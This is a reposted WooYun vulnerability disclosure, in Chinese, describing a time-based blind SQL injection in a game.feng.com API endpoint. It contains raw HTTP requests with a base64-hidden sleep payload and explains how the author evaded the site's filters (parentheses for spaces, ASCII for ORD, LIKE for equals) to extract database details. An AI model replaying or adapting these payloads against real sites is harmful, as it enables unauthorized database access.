神刀安全网

漏洞标题: 威锋网游戏站存在SQL注入(含多重绕过+编码)

漏洞详情

披露状态:

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:game.feng.com

检测发现以下地方存在SQL注入:(延时盲注)

code 区域
http://game.feng.com/index.php?r=apiw/apiGiftBag/getNewGiftBagNum
Host: game.feng.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: WPForumPortal/4.2 (iPhone; iOS 9.2.1; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1
Content-Length: 1581
Accept-Encoding: gzip, deflate

data=eyJhcHBfa2V5IjoiYzg4YWJkZmIxN2M4OTAyNGVlMjY2NGViNDg3Y2I3OTYiLCJ2ZXJpZnkiOiI5ODJkOGUxY2ZmM2E3YTIyODhjMzMzYjVkMWRjNGJkNiIsImVuY3J5cHRfZGF0YSI6IlhDanBUc2JqYWFwM29SNzN1U1VFemhpRTZFY2lDY2J5MlFHNDA4ZVhLeHZ5bW9wdjhvRDJFYjNsSFI1bVVhOWhGOHB3S1wvTkhHRFdVQTZLSWsyQncrT3NNalZTcWVySyttWXdMdU5ZcWdCc1ZxWWpON3ZudytoYm8xS2xzc0Nwc2tMTUM4b294a085Uno2UWQ4dGUrY2dxZkxcL2NnZEROdkJYd3F3eHJ4V0dPUU40ZG8xTWVvN1ZaZTM4U1A2bityMVR1enVOSEw2S0ZEMVZ2TVN2XC8rQVZGeFRzcVdQVVZoaW4yK1wvZ05QTlljVVwva3d3VFZPNFE0MU1OMDhTQTVLWnNxQ0tmNU9QSjZJXC93azVzVDhwVmduWTBWWEl6dkFLdGc1WlB6QVZXNW9PQ1pUQ1BOY05ZeGV2RFFNbFZ1TndHUE1Ibjc0T1hhVkk5RW44cFh5TVwvaDNrYWNwNEhYWGUwWDJ4YU1wTTd0Zk1kK3JZT0RFc2k3NUo2dGFoTTdoQlNqRFdnT2NUVW12TEVMMzFMUW5qamVjc0I1Y0dIbk45MFNlWFU2VmxkM1hQalJ5d0JuaGpGRzlKQnFKSUhHTndTQnlBYzhcLzAyK0YrMGNPWGhvWGttZWd6NmFVeEpwYUhnSWlxMjVDN3k5a2JiaURZXC91anpEbWR4dks3WExVXC9aWXhzOE5tclpOb0N1OUN2OTNzVmt4clp5N2szRVFzNG5PcURTcGhIV3VwcDBRQTNWM1B0T2lZSGFtUzFLc3dIRmc5clQxQmhkZVRNNytUNCtrQlZwc0NPZ0hUV282cFNSWTdmK0JqaGhLVHhhMjF6Y0czbEdYMTFicHV6UWhPYThsUktcL0g4VHBuYkhNbUZyaEV4cWxjQzFUbWRrZ1hZNmhzR0Zlc1FrQUp5N3UrNk5YbFVQR1g2V1lzekRvS3l3SlgyMEhiaWZyZFM1SHJyQ3VQNThaeHU0K1wvZElLVzY0bkU1bHdqSThwUSsrRHJrSDlidzE4bUxBREpQUHhrUjdOXC8yTDFxZnVPanFvZDB5dWFYRk5BUEVXZGpcL1RkaWFSSXhobWdoZTZkZmtXMG5IZ3ZQQ2VGWEFtOHpveCsxTDl4eTlaRXhoYWR4aVFia3Jlc0pkXC9zdG85czFSeWxYbkJkVm9DRFBrOHFhb2FhbStUMHFzZURuMlN0NnRKWTNweG1GT1NXY2RnOFNtZGZLNDBDcTc3aWVHTlpsVEdoWXYySkhvczN1Y0lnQW5HSEF3OWlBdXVLYlprbEtmVjY1QW80R1lWY0M1U2E3UCtWcUdWV1BhXC9MdVwvZkJTQVdoNUg1WVNiaFVMSTdoV256RXdcL1hpd1FTSmtlRTVMSWQybUhzTjFyeThha1h2SFArUWVqalVTS2JOTHFnVXJVYVBUUkc3eCJ9

Payload:(延时3秒)

code 区域
POST http://game.feng.com/index.php?r=apiw/apiGiftBag/getNewGiftBagNum HTTP/1.1
Content-Length: 1589
Accept-Language: zh-Hans-CN;q=1
Accept-Encoding: gzip, deflate
Host: game.feng.com
Accept: */*
User-Agent: WPForumPortal/4.2 (iPhone; iOS 9.2.1; Scale/2.00)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Cookie: NSC_hbnf.gfoh.dpn=ffffffffc3a0ac1345525d5f4f58455e445a4a423660
Pragma: no-cache
Cache-Control: no-cache,no-store
Content-Type: application/x-www-form-urlencoded

data=eyJhcHBfa2V5IjoiJysoc2VsZWN0KDApZnJvbShzZWxlY3Qoc2xlZXAoMykpKXYpKyciLCJ2ZXJpZnkiOiI5ODJkOGUxY2ZmM2E3YTIyODhjMzMzYjVkMWRjNGJkNiIsImVuY3J5cHRfZGF0YSI6IlhDanBUc2JqYWFwM29SNzN1U1VFemhpRTZFY2lDY2J5MlFHNDA4ZVhLeHZ5bW9wdjhvRDJFYjNsSFI1bVVhOWhGOHB3S1wvTkhHRFdVQTZLSWsyQncrT3NNalZTcWVySyttWXdMdU5ZcWdCc1ZxWWpON3ZudytoYm8xS2xzc0Nwc2tMTUM4b294a085Uno2UWQ4dGUrY2dxZkxcL2NnZEROdkJYd3F3eHJ4V0dPUU40ZG8xTWVvN1ZaZTM4U1A2bityMVR1enVOSEw2S0ZEMVZ2TVN2XC8rQVZGeFRzcVdQVVZoaW4yK1wvZ05QTlljVVwva3d3VFZPNFE0MU1OMDhTQTVLWnNxQ0tmNU9QSjZJXC93azVzVDhwVmduWTBWWEl6dkFLdGc1WlB6QVZXNW9PQ1pUQ1BOY05ZeGV2RFFNbFZ1TndHUE1Ibjc0T1hhVkk5RW44cFh5TVwvaDNrYWNwNEhYWGUwWDJ4YU1wTTd0Zk1kK3JZT0RFc2k3NUo2dGFoTTdoQlNqRFdnT2NUVW12TEVMMzFMUW5qamVjc0I1Y0dIbk45MFNlWFU2VmxkM1hQalJ5d0JuaGpGRzlKQnFKSUhHTndTQnlBYzhcLzAyK0YrMGNPWGhvWGttZWd6NmFVeEpwYUhnSWlxMjVDN3k5a2JiaURZXC91anpEbWR4dks3WExVXC9aWXhzOE5tclpOb0N1OUN2OTNzVmt4clp5N2szRVFzNG5PcURTcGhIV3VwcDBRQTNWM1B0T2lZSGFtUzFLc3dIRmc5clQxQmhkZVRNNytUNCtrQlZwc0NPZ0hUV282cFNSWTdmK0JqaGhLVHhhMjF6Y0czbEdYMTFicHV6UWhPYThsUktcL0g4VHBuYkhNbUZyaEV4cWxjQzFUbWRrZ1hZNmhzR0Zlc1FrQUp5N3UrNk5YbFVQR1g2V1lzekRvS3l3SlgyMEhiaWZyZFM1SHJyQ3VQNThaeHU0K1wvZElLVzY0bkU1bHdqSThwUSsrRHJrSDlidzE4bUxBREpQUHhrUjdOXC8yTDFxZnVPanFvZDB5dWFYRk5BUEVXZGpcL1RkaWFSSXhobWdoZTZkZmtXMG5IZ3ZQQ2VGWEFtOHpveCsxTDl4eTlaRXhoYWR4aVFia3Jlc0pkXC9zdG85czFSeWxYbkJkVm9DRFBrOHFhb2FhbStUMHFzZURuMlN0NnRKWTNweG1GT1NXY2RnOFNtZGZLNDBDcTc3aWVHTlpsVEdoWXYySkhvczN1Y0lnQW5HSEF3OWlBdXVLYlprbEtmVjY1QW80R1lWY0M1U2E3UCtWcUdWV1BhXC9MdVwvZkJTQVdoNUg1WVNiaFVMSTdoV256RXdcL1hpd1FTSmtlRTVMSWQybUhzTjFyeThha1h2SFArUWVqalVTS2JOTHFnVXJVYVBUUkc3eCJ9

这个SQLMap默认基本跑不出数据

1、BASE64编码,SQLMap的base64解码tamper只适用于一个参数的,不适用于全post data,于是只能通过开源代理来自动decode

2、过滤,经测试发现Payload中出现以下字符都是报错滴:

空格/ORD/等号/CURRENT_USER

于是用括号代替空格,用ASCII代替ORD,用like代替等号……截个图改写的代理:

漏洞标题:  威锋网游戏站存在SQL注入(含多重绕过+编码)

漏洞证明:

1、跑出当前数据库用户

漏洞标题:  威锋网游戏站存在SQL注入(含多重绕过+编码)

2、跑出当前数据库

漏洞标题:  威锋网游戏站存在SQL注入(含多重绕过+编码)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 威锋网游戏站存在SQL注入(含多重绕过+编码)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮